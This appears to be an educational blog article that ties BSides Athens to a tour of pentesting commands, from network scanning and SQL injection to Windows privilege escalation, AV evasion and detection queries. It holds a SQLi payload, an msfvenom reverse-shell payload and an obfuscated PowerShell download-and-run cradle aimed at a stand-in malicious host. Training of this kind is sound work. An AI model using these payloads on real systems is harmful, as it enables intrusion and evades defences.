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Introduction:
Cybersecurity conferences like Security BSides Athens offer more than just networking—they serve as live training grounds for the latest attack and defense methodologies. With penetration testers such as Ilias Mavropoulos attending for the fourth consecutive year, attendees gain exposure to real-world tactics, from reconnaissance to cloud hardening, that align with certifications like eWPT, eJPT, and SC-200.
Learning Objectives:
- Prepare for and extract maximum value from technical security conferences by mapping sessions to hands-on lab exercises.
- Execute reconnaissance, web app testing, and privilege escalation using industry-standard tools and commands.
- Apply cloud hardening, API security, and incident response techniques demonstrated at BSides events.
You Should Know:
- Reconnaissance and Network Scanning Like a BSides Pro
Step‑by‑step guide: Before diving into sessions, perform passive and active recon to understand the attacker’s mindset. Use the following Linux commands to scan networks and discover live hosts, a skill frequently highlighted in eJPT and PenTest+ tracks.
Passive recon – WHOIS and DNS enumeration whois target.com dig axfr @ns1.target.com target.com Test for zone transfer Active scanning with Nmap (stealth SYN scan) sudo nmap -sS -p- -T4 -oA full_scan 192.168.1.0/24 Masscan for high‑speed port discovery sudo masscan -p1-65535 --rate=1000 192.168.1.0/24
To replicate BSides workshops, set up a lab with VirtualBox and vulnerable VMs (Metasploitable, DVWA). Capture scan results in grepable format and feed them into enumeration scripts.
- Web Application Penetration Testing: SQLi and XSS in Action
Many BSides Athens talks focus on web vulnerabilities, echoing eWPT exam objectives. Below are commands to detect and exploit SQL injection and cross‑site scripting manually and with automation.
Using sqlmap to detect SQLi on a parameter
sqlmap -u "http://test.com/page?id=1" --batch --dbs
Manual SQLi payload (error‑based)
' OR '1'='1' UNION SELECT username, password FROM users--
XSS test with curl
curl -X GET "http://test.com/search?q=<script>alert('XSS')</script>"
For Windows environments, use Fiddler or Burp Suite’s repeater. After exploitation, generate a report with Dradis or WriteHat. Mitigation: parameterized queries and output encoding.
3. API Security Hardening and Testing
APIs are a recurring theme at BSides. The following guide uses OWASP API Security Top 10 to test and harden REST endpoints. Commands work on Linux/macOS and Windows (via WSL or Git Bash).
Enumerate API endpoints with curl and jq curl -s https://api.target.com/v1/users | jq '.' Test for broken object level authorization (BOLA) curl -X GET https://api.target.com/v1/user/1234 -H "Authorization: Bearer $TOKEN" Fuzz parameters with ffuf ffuf -u https://api.target.com/v1/user/FUZZ -w ids.txt
To harden, implement rate limiting, strict schema validation, and OAuth2 with PKCE. Use Postman’s runner for automated security tests. On Windows, use PowerShell’s Invoke-RestMethod for similar checks.
4. Cloud Security Hardening (AWS/Azure) from BSides Workshops
With sessions dedicated to cloud misconfigurations, this step‑by‑step focuses on AWS and Azure CLI commands that prevent common exposures (e.g., open S3 buckets, overly permissive IAM).
AWS CLI – list S3 buckets and check public ACLs aws s3 ls aws s3api get-bucket-acl --bucket my-bucket Enumerate IAM users and unused roles aws iam list-users aws iam list-roles | grep "RoleName" Azure – check storage account network rules az storage account show --name myaccount --resource-group myrg --query "networkRuleSet"
Mitigation: enable S3 Block Public Access, enforce IAM least privilege, and use Azure Policy to deny public storage. To exploit misconfigurations (for pentesting), use Pacu or ScoutSuite with permission from the asset owner.
5. Windows Privilege Escalation Techniques
Presented by seasoned pentesters at BSides, these PowerShell and CMD commands help identify and escalate from low‑privileged shells to SYSTEM.
Enumerate system info and unpatched hotfixes systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe get Caption,Description,HotFixID,InstalledOn Check for always install elevated (MSI) vulnerability reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated List scheduled tasks running as SYSTEM schtasks /query /fo LIST /v | findstr "TaskToRun"
For exploitation, use PowerUp.ps1 (part of PowerSploit) or winpeas.exe. Mitigation: apply security patches, remove unnecessary privileges, and enforce LAPS for local admin password management.
6. Evasion and Mitigation: Bypassing AV and EDR
Conference talks often cover how red teams evade modern defenses. Below are Linux (msfvenom) and Windows (PowerShell obfuscation) techniques for educational purposes in authorized labs.
Generate obfuscated payload with msfvenom (Linux) msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.5 LPORT=443 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe On Windows, use PowerShell to download and run in memory without touching disk powershell -exec bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAJwApAA==
Mitigation: deploy EDR with behavioural blocking, enable AMSI, and restrict PowerShell to Constrained Language Mode. For blue teams, simulate these attacks using Atomic Red Team.
7. Incident Response and Purple Teaming (SC-200 Focus)
Aligning with Microsoft SC-200 (Security Operations Analyst) and BTL1 (Gold) content, this section shows how to hunt for the above techniques using KQL (Kusto Query Language) and Sysmon.
On Windows, install Sysmon with SwiftOnSecurity config
sysmon64 -accepteula -i sysmonconfig.xml
Query Windows Event Log for PowerShell download patterns (PowerShell)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Where-Object {$_.Message -match "DownloadString"}
KQL example in Azure Sentinel for process creation with encoded command
DeviceProcessEvents
| where ProcessCommandLine contains " -enc "
| project Timestamp, DeviceName, ProcessCommandLine
Use PurpleSharp or Caldera to simulate adversary behaviours and validate detections. Mitigation: enable logging (Event ID 4688, 4104), forward logs to SIEM, and create alert rules for encoded commands and unusual LSASS access.
What Undercode Say:
- Continuous conference attendance (e.g., 4 years at BSides) directly correlates with proficiency in hands-on tools like Nmap, sqlmap, and winpeas, as evidenced by industry certifications.
- Real-world security requires blending offensive commands with defensive hardening—each technique above has a corresponding mitigation, enabling purple team maturity.
- API and cloud misconfigurations remain top attack vectors; integrating CLI validation (AWS CLI, curl) into CI/CD pipelines reduces risk more effectively than annual pentests.
- Windows privilege escalation and EDR evasion evolve rapidly; leveraging frameworks like PowerUp and Atomic Red Team keeps both red and blue teams aligned.
- The path from eJPT to SC-200 involves mastering both exploitation and logging (Sysmon/KQL)—BSides workshops bridge that gap with practical, vendor‑agnostic labs.
Prediction:
By 2028, AI‑powered reconnaissance agents will automate 70% of initial enumeration, forcing BSides‑style conferences to pivot toward AI‑assisted purple teaming and adversarial machine learning defense. Hands‑on sessions will shift from manual command memorization to orchestrating LLM bots that generate attack scripts on the fly, while cloud hardening will integrate real‑time policy‑as‑code validation. However, the core skills—reading API responses, interpreting privilege escalation vectors, and tuning detection queries—will remain human‑centric, ensuring that events like BSides Athens stay vital for hands‑on practitioners. Expect a surge in hybrid formats where remote attendees run live cloud labs alongside in‑person hacking villages.
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